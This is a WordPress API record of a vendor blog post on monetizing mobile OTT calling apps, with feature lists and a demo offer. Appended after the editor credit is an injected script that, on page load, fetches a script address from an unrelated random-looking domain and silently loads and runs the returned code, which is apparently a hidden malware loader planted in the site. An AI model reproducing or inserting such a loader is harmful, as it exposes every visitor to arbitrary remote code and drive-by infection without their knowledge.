{"id":1567,"date":"2019-11-18T07:41:06","date_gmt":"2019-11-18T07:41:06","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=1567"},"modified":"2025-09-05T11:37:12","modified_gmt":"2025-09-05T11:37:12","slug":"monetize-your-ott-app","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/","title":{"rendered":"How to Monetize Your OTT App For High Returns"},"content":{"rendered":"<p>The best strategy\u00a0to sell any item effectively is to combine gifts with it. While the size of the gift may not be too important, what attracts people most is the idea of getting a free product or service with their regular purchase. This is a common\u00a0human psychology, and numerous businesses are following this pattern to hit the target.<\/p>\n<p>In similar lines, taking about Mobile OTT, which is becoming popular in the VoIP industry as there is something extra mobile subscribers are getting instead of just ordinary voice call. Nowadays, people not only look for calling solution but also search for other services as well.<\/p>\n<p>Mobile subscribers perform different activities such as messaging, sharing photos, doing group conversations and so on. As a service provider, if you can bring all these facilities in your voice calling solution, it will increase more user interaction.<\/p>\n<p>All these features might be available for free or have a low cost but it will surely accelerate the growth of your business. To make your application popular, you should look for such features in your app.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4fe974f77\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4fe974f77\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#How_can_you_Attract_More_Customers_with_Your_OTT_App\" title=\"How can you Attract More Customers with Your OTT App\">How can you Attract More Customers with Your OTT App<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Engagement_Features\" title=\"Engagement Features\">Engagement Features<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Revenue_Maximization_Features\" title=\"Revenue Maximization Features\">Revenue Maximization Features<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Elaboration\" title=\"Elaboration\">Elaboration<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Instant_Messaging_IM\" title=\"Instant Messaging (IM)\">Instant Messaging (IM)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Mobile_Top-up_MTU\" title=\"Mobile Top-up (MTU)\">Mobile Top-up (MTU)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Video_Calling_and_Conferencing\" title=\"Video Calling and Conferencing\">Video Calling and Conferencing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Roaming_Facility\" title=\"Roaming Facility\">Roaming Facility<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Package_Registration_and_Sharing\" title=\"Package Registration and Sharing\">Package Registration and Sharing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Online_Payment_and_Balance_Transfer\" title=\"Online Payment and Balance Transfer\">Online Payment and Balance Transfer<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#5_Ways_to_Create_New_Revenue_Opportunities_with_Mobile_OTT_Solution\" title=\"5 Ways to Create New Revenue Opportunities with Mobile OTT Solution\">5 Ways to Create New Revenue Opportunities with Mobile OTT Solution<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/#Why_Instant_Messaging_and_Voice_Call_OTT_Apps_are_on_Hype\" title=\"Why Instant Messaging and Voice Call OTT Apps are on Hype\">Why Instant Messaging and Voice Call OTT Apps are on Hype<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"How_can_you_Attract_More_Customers_with_Your_OTT_App\"><\/span>How can you Attract More Customers with Your OTT App<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>To remain a step ahead, your business needs to put in something extra. And this is where the most desirable features come into play. Adding these important features to your voice calling application will not only make it more feature-rich and user favorite but also help to generate additional revenue.<\/p>\n<p>Usually, features of\u00a0<a href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions\">Mobile OTT apps<\/a> can be further categorized into 2 sections- Engagement and Revenue Maximization.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Engagement_Features\"><\/span><strong>Engagement Features<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li>Auto Signup with GSM Number<\/li>\n<li>Instant Messaging (IM)<\/li>\n<li>Referral &amp; Earnings<\/li>\n<li>Free Audio\/Video call<\/li>\n<li>Audio\/Video Conferencing<\/li>\n<\/ul>\n<h4><span class=\"ez-toc-section\" id=\"Revenue_Maximization_Features\"><\/span><strong>Revenue Maximization Features<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li>Maximizing revenue from virtual Roaming<\/li>\n<li>Attaining revenue from global Voice calling &amp; SMS. The balance will be deducted from GSM Account or App Wallet<\/li>\n<li>Personalized Ad targeting through the segmented user base<\/li>\n<li>Enabling Operators to access competitors\u2019 customer base by engaging them with your OTT apps and then send them different promotional content<\/li>\n<li>Selling Personal DID Number to the end-user<\/li>\n<li>Offering Mobile TOP UP\/Money Transfer<\/li>\n<li>Selling VAS service from OTT Application<\/li>\n<li>Instead of Sending VAS content in SMS, Operator can send it through IM message to the end-user<\/li>\n<li>It will save SMS cost but will increase earning from VAS Service<\/li>\n<li>As IM supports rich content, the content can be sent multiple times<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1619\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/11\/OTT-Monetization-1024x649.jpg\" alt=\"ott-monetization\" width=\"800\" height=\"507\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/11\/OTT-Monetization-1024x649.jpg 1024w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/11\/OTT-Monetization-300x190.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/11\/OTT-Monetization-768x487.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2019\/11\/OTT-Monetization.jpg 1058w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Elaboration\"><\/span>Elaboration<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Explaining some of the most important features that make a calling service more popular:<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Instant_Messaging_IM\"><\/span>Instant Messaging (IM)<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Instant messaging is one of the most attractive features for mobile users. However, as a service provider, it might not generate any revenue for you but it will motivate the customer to adopt your solution. This just acts like a gift with some paid services.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Mobile_Top-up_MTU\"><\/span>Mobile Top-up (MTU)<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Along with voice calling facility, if your service has a mobile top-up facility, users will be attracted. Also if you can introduce data pack service from your app, it will become more popular.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Video_Calling_and_Conferencing\"><\/span>Video Calling and Conferencing<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Video calling is getting more popular as it allows users to see each other while they are having a conversation. Also, conferencing is popular for friends and also works well for the business segment of population. Therefore, having it in your solution will make your app\u00a0 more appealing for users.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Roaming_Facility\"><\/span>Roaming Facility<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Roaming facility at a low price is very popular among people who travel a lot. This includes business professionals as well who have to travel quite frequently but they are reluctant to change their mobile number during their trip.\u00a0 Now as a service provider, adding roaming feature will\u00a0help you to Monetize your OTT App\u00a0and open the doors for additional revenue.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Package_Registration_and_Sharing\"><\/span>Package Registration and Sharing<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Instead of varying rate for different destination, people become interested in different packages. That is why operators are also introducing different types of subscription packages.<\/p>\n<p>Users can freely choose the package based on their usage policy. Also, package sharing is getting popular nowadays as users can share their purchased package with near and dear ones.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Online_Payment_and_Balance_Transfer\"><\/span>Online Payment and Balance Transfer<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Having an online payment facility is the most important feature in your application. Present-day users are more comfortable with online recharges as they can use credit cards and various other online payment solutions to make the payments.<\/p>\n<p>These are some of the features, which will boost the download of your app and also help you increase your subscriber base. If you are interested to take a free demo of REVE OTT, you can reach us anytime for a discussion.<\/p>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span><strong>Read Also<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"5_Ways_to_Create_New_Revenue_Opportunities_with_Mobile_OTT_Solution\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/\" target=\"_blank\" rel=\"noopener\">5 Ways to Create New Revenue Opportunities with Mobile OTT Solution<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Why_Instant_Messaging_and_Voice_Call_OTT_Apps_are_on_Hype\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/\" target=\"_blank\" rel=\"noopener\">Why Instant Messaging and Voice Call OTT Apps are on Hype<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"text-align: right;\"><strong>Editor:<\/strong>\u00a0<a href=\"https:\/\/www.linkedin.com\/in\/mir-monsoor-hossain-a1a0a295\/\" target=\"_blank\" rel=\"noopener\">Mir Monsoor Hussain<\/a><\/p>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The best strategy\u00a0to sell any item effectively is to combine gifts with it. While the size of the gift may not be too important, what attracts people most is the idea of getting a free product or service with their regular purchase. This is a common\u00a0human psychology, and numerous businesses are following this pattern to [&hellip;]<\/p>\n","protected":false},"author":10,"featured_media":1568,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1567","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ott"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1567","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=1567"}],"version-history":[{"count":30,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1567\/revisions"}],"predecessor-version":[{"id":6501,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1567\/revisions\/6501"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/1568"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=1567"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=1567"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=1567"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}